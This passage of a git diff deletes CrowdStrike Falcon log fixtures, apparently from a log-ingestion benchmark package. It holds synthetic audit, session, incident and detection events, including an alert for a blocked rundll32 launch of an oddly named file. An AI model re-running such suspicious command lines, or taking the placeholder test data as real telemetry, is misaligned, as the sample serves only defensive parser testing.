aml_assertion\":\"saml_assertion_sample\",\"target_user\":\"admin.rose@example.com\",\"trace_id\":\"000000-76c5-4861-92f1-355d0a908f40\"}}}",
-                "outcome": "success"
-            },
-            "message": "CrowdstrikeAuthentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.rose",
-                    "admin.rose@example.com"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "example.com",
-                "email": "admin.rose@example.com",
-                "name": "admin.rose"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T12:28:47.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Attributes": {
-                        "device_id": "afjafanfafasfjaf",
-                        "message": "Removeduplicatesensor.",
-                        "seedID": "101"
-                    },
-                    "AuditKeyValues": [
-                        {
-                            "Key": "device_id",
-                            "ValueString": "abcancancbanjjagjaj"
-                        },
-                        {
-                            "Key": "seedID",
-                            "ValueString": "101"
-                        },
-                        {
-                            "Key": "message",
-                            "ValueString": "Removeduplicatesensor."
-                        }
-                    ],
-                    "ServiceName": "sensor_update_policy"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 8694733,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2023-11-02T12:28:47.000Z",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694733,\"eventType\":\"UserActivityAuditEvent\",\"eventCreationTime\":1698928127000,\"version\":\"1.0\"},\"event\":{\"UserId\":\"admin.rose@example.com\",\"UserIp\":\"81.2.69.144\",\"OperationName\":\"reveal_token\",\"ServiceName\":\"sensor_update_policy\",\"AuditKeyValues\":[{\"Key\":\"device_id\",\"ValueString\":\"abcancancbanjjagjaj\"},{\"Key\":\"seedID\",\"ValueString\":\"101\"},{\"Key\":\"message\",\"ValueString\":\"Removeduplicatesensor.\"}],\"UTCTimestamp\":1698928127,\"Attributes\":{\"device_id\":\"afjafanfafasfjaf\",\"message\":\"Removeduplicatesensor.\",\"seedID\":\"101\"}}}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "reveal_token",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.rose",
-                    "admin.rose@example.com"
-                ]
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "example.com",
-                "email": "admin.rose@example.com",
-                "name": "admin.rose"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T13:00:00.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ExecutionID": "efghtigh",
-                    "ExecutionMetadata": {
-                        "ExecutionDuration": 152176,
-                        "ExecutionStart": 1698930019000,
-                        "ReportFileName": "Laroux_Search_2023_November_2_13017_34176.csv",
-                        "ResultCount": 0,
-                        "ResultID": "fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=",
-                        "SearchWindowEnd": 1698930000000,
-                        "SearchWindowStart": 1698843600000
-                    },
-                    "ReportFileReference": "/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444",
-                    "ReportID": "999999ddddddddd",
-                    "ReportName": "LarouxSearch",
-                    "ReportType": "event_search",
-                    "Status": "1",
-                    "StatusMessage": "message",
-                    "UserUUID": "9999999-bc3c-99bb-a05a-bb94ff5dc0fb"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "ScheduledReportNotificationEvent",
-                    "offset": 8694992,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "created": "2023-11-02T13:02:52.000Z",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8694992,\"eventType\":\"ScheduledReportNotificationEvent\",\"eventCreationTime\":1698930172000,\"version\":\"1.0\"},\"event\":{\"UserUUID\":\"9999999-bc3c-99bb-a05a-bb94ff5dc0fb\",\"UserID\":\"admin.rose@example.com\",\"ExecutionID\":\"efghtigh\",\"ReportID\":\"999999ddddddddd\",\"ReportName\":\"LarouxSearch\",\"ReportType\":\"event_search\",\"ReportFileReference\":\"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444\",\"Status\":1,\"StatusMessage\":\"message\",\"ExecutionMetadata\":{\"ExecutionStart\":1698930019000,\"ExecutionDuration\":152176,\"ReportFileName\":\"Laroux_Search_2023_November_2_13017_34176.csv\",\"ResultCount\":0,\"ResultID\":\"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=\",\"SearchWindowStart\":1698843600000,\"SearchWindowEnd\":1698930000000}}}"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "admin.rose",
-                    "admin.rose@example.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "example.com",
-                "email": "admin.rose@example.com",
-                "id": "admin.rose@example.com",
-                "name": "admin.rose"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T13:41:34.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AgentIdString": "fffffffff33333",
-                    "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "RemoteResponseSessionStartEvent",
-                    "offset": 8695284,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_start_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2023-11-02T13:41:34.000Z",
-                "kind": "event",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695284,\"eventType\":\"RemoteResponseSessionStartEvent\",\"eventCreationTime\":1698932494000,\"version\":\"1.0\"},\"event\":{\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"HostnameField\":\"UKCHUDL00206\",\"UserName\":\"admin.rose@example.com\",\"StartTimestamp\":1698932494,\"AgentIdString\":\"fffffffff33333\"}}",
-                "start": "2023-11-02T13:41:34.000Z",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "name": "UKCHUDL00206"
-            },
-            "message": "Remote response session started.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "UKCHUDL00206"
-                ],
-                "user": [
-                    "admin.rose",
-                    "admin.rose@example.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "example.com",
-                "email": "admin.rose@example.com",
-                "name": "admin.rose"
-            }
-        },
-        {
-            "@timestamp": "2023-11-02T13:43:35.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe",
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                    "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "HostGroups": [
-                        "e2091491a28248eaae3ede9f217e03fc",
-                        "e837d750b8ba400c953380da346e2b04",
-                        "186c20383a98495cb0e0a7d5540f3aff",
-                        "24d1f760fcdc46d992bb8f41d7dd897b",
-                        "2b7bd0fede874baaa1afdea20f255632",
-                        "a293aded9c4548469d0e853b7267cce5",
-                        "adab9db4541040729e01d16211189a27",
-                        "b75b27ce17244922bd0a862a712ea812"
-                    ],
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
-                    "MACAddress": "02-50-41-00-00-01",
-                    "Objective": "KeepAccess",
-                    "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2048,
-                    "PatternId": "10186",
-                    "SensorId": "69027ffffffffffffaaf50",
-                    "Severity": 4,
-                    "SeverityName": "High"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 8695332,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention,processwasblockedfromexecution.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-11-02T13:43:35.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186}}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "a52bfa4a96f97c368312028dbd7c8461",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e"
-                },
-                "name": "rundll32.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32"
-            },
-            "host": {
-                "domain": "AP",
-                "name": "INNOIDL0032"
-            },
-            "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh"
-                ],
-                "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
-                "end": "2023-11-02T13:43:34.000Z",
-                "entity_id": "54665651",
-                "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
-                "name": "rundll32.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\Explorer.EXE"
-                    ],
-                    "command_line": "C:\\Windows\\Explorer.EXE",
-                    "entity_id": "540396081",
-                    "executable": "C:\\Windows\\Explorer.EXE",
-                    "pid": 540396081
-                },
-                "pid": 54665651,
-                "start": "2023-11-02T13:43:34.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
-                    "a52bfa4a96f97c368312028dbd7c8461"
-                ],
-                "hosts": [
-                    "INNOIDL0032"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "vishnu.sharma"
-                ]
-            },
-            "rule": {
-                "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
-                "id": "ldt:690ddddddd0721205",
-                "name": "AttackerMethodology"
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event",
-                "SensorGroupingTags/USB_Storage_Exception"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "DefenseEvasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Rundll32"
-                    ]
-                }
-            },
-            "user": {
-                "name": "vishnu.sharma"
-            }
-        },
-        {
-            "@timestamp": "2023-11-03T00:36:37.000Z",
-            "crowdstrike": {
-                "event": {
-                    "FineScore": 6.1,
-                    "IncidentType": "1",
-                    "State": "open"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "IncidentSummaryEvent",
-                    "offset": 8698239,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "incident"
-                ],
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-11-03T00:36:37.000Z",
-                "end": "2023-11-03T00:36:37.000Z",
-                "id": "inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8698239,\"eventType\":\"IncidentSummaryEvent\",\"eventCreationTime\":1698971797000,\"version\":\"1.0\"},\"event\":{\"IncidentStartTime\":1698971797,\"IncidentEndTime\":1698971797,\"FalconHostLink\":\"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj\",\"State\":\"open\",\"FineScore\":6.1,\"LateralMovement\":0,\"IncidentType\":1,\"IncidentID\":\"inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e\",\"HostID\":\"4345454534534545\"}}",
-                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:654a735066d640939aaaaaaaaaaaaaaaaaaaaaaaf47349032acd86820223e?_cid=ggggffffhhhhjjjjj",
-                "start": "2023-11-03T00:36:37.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "4345454534534545"
-            },
-            "message": "Incident score 6.1",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2023-11-02T13:43:35.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Windows\\System32\\rundll32.exe",
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                    "GrandparentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "HostGroups": [
-                        "e2091491a28248eaae3ede9f217e03fc",
-                        "e837d750b8ba400c953380da346e2b04",
-                        "186c20383a98495cb0e0a7d5540f3aff",
-                        "24d1f760fcdc46d992bb8f41d7dd897b",
-                        "2b7bd0fede874baaa1afdea20f255632",
-                        "a293aded9c4548469d0e853b7267cce5",
-                        "adab9db4541040729e01d16211189a27",
-                        "b75b27ce17244922bd0a862a712ea812"
-                    ],
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
-                    "MACAddress": "02-50-41-00-00-01",
-                    "MitreAttack": [
-                        {
-                            "PatternID": "10186",
-                            "Tactic": "DefenseEvasion",
-                            "Technique": "Rundll32"
-                        }
-                    ],
-                    "Objective": "KeepAccess",
-                    "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2048,
-                    "PatternId": "10186",
-                    "SensorId": "69027ffffffffffffaaf50",
-                    "Severity": 4,
-                    "SeverityName": "High"
-                },
-                "metadata": {
-                    "customerIDString": "abcabcabc22222",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 8695332,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention,processwasblockedfromexecution.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-11-02T13:43:35.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"abcabcabc22222\",\"offset\":8695332,\"eventType\":\"DetectionSummaryEvent\",\"eventCreationTime\":1698932615000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1698932614,\"ProcessEndTime\":1698932614,\"ProcessId\":54665651,\"ParentProcessId\":540396081,\"ComputerName\":\"INNOIDL0032\",\"UserName\":\"vishnu.sharma\",\"DetectName\":\"AttackerMethodology\",\"DetectDescription\":\"Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.\",\"Severity\":4,\"SeverityName\":\"High\",\"FileName\":\"rundll32.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\"\\\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh\",\"SHA256String\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"MD5String\":\"a52bfa4a96f97c368312028dbd7c8461\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"MachineDomain\":\"AP\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a\",\"SensorId\":\"69027ffffffffffffaaf50\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e\",\"DetectId\":\"ldt:690ddddddd0721205\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"02-50-41-00-00-01\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"Objective\":\"KeepAccess\",\"PatternDispositionDescription\":\"Prevention,processwasblockedfromexecution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandparentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"GrandparentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"HostGroups\":\"e2091491a28248eaae3ede9f217e03fc,e837d750b8ba400c953380da346e2b04,186c20383a98495cb0e0a7d5540f3aff,24d1f760fcdc46d992bb8f41d7dd897b,2b7bd0fede874baaa1afdea20f255632,a293aded9c4548469d0e853b7267cce5,adab9db4541040729e01d16211189a27,b75b27ce17244922bd0a862a712ea812\",\"Tags\":\"SensorGroupingTags/USB_Storage_Exception\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\rundll32.exe\",\"PatternId\":10186,\"MitreAttack\":[{\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Rundll32\",\"PatternID\":10186}]}}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/6902738b2a374a718cd9a45085baaf50/2246270721205?_cid=gffffffffy3zjobdz7ewb4xjqyjsy5a",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "a52bfa4a96f97c368312028dbd7c8461",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e"
-                },
-                "name": "rundll32.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32"
-            },
-            "host": {
-                "domain": "AP",
-                "name": "INNOIDL0032"
-            },
-            "message": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh"
-                ],
-                "command_line": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
-                "end": "2023-11-02T13:43:34.000Z",
-                "entity_id": "54665651",
-                "executable": "\"C:\\Windows\\System32\\rundll32.exe\"\\lwbuimisawnmsfdjmazvobzb.brl,kokknnjfybyqjrrh",
-                "name": "rundll32.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\Explorer.EXE"
-                    ],
-                    "command_line": "C:\\Windows\\Explorer.EXE",
-                    "entity_id": "540396081",
-                    "executable": "C:\\Windows\\Explorer.EXE",
-                    "pid": 540396081
-                },
-                "pid": 54665651,
-                "start": "2023-11-02T13:43:34.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "d64d27be4c907b0a2a0c32e1b1a4a44a1333a936fe63127d69df41c859da8c9e",
-                    "a52bfa4a96f97c368312028dbd7c8461"
-                ],
-                "hosts": [
-                    "INNOIDL0032"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "vishnu.sharma"
-                ]
-            },
-            "rule": {
-                "description": "Rundll32launchedafilewithanunusualname.Somemalwareabusesrundll32tolaunchmaliciouspayloads.Investigatethecommandlinearguments,astheylikelyreferencethemaliciouspayload.",
-                "id": "ldt:690ddddddd0721205",
-                "name": "AttackerMethodology"
-            },
-            "source": {
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event",
-                "SensorGroupingTags/USB_Storage_Exception"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "DefenseEvasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Rundll32"
-                    ]
-                }
-            },
-            "user": {
-                "name": "vishnu.sharma"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
deleted file mode 100644
index 1a403c955c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
+++ /dev/null
@@ -1,277 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1045,
-        "eventType": "RemoteResponseSessionStartEvent",
-        "eventCreationTime": 1582830734000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "StartTimestamp": 1582830734
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1046,
-        "eventType": "RemoteResponseSessionEndEvent",
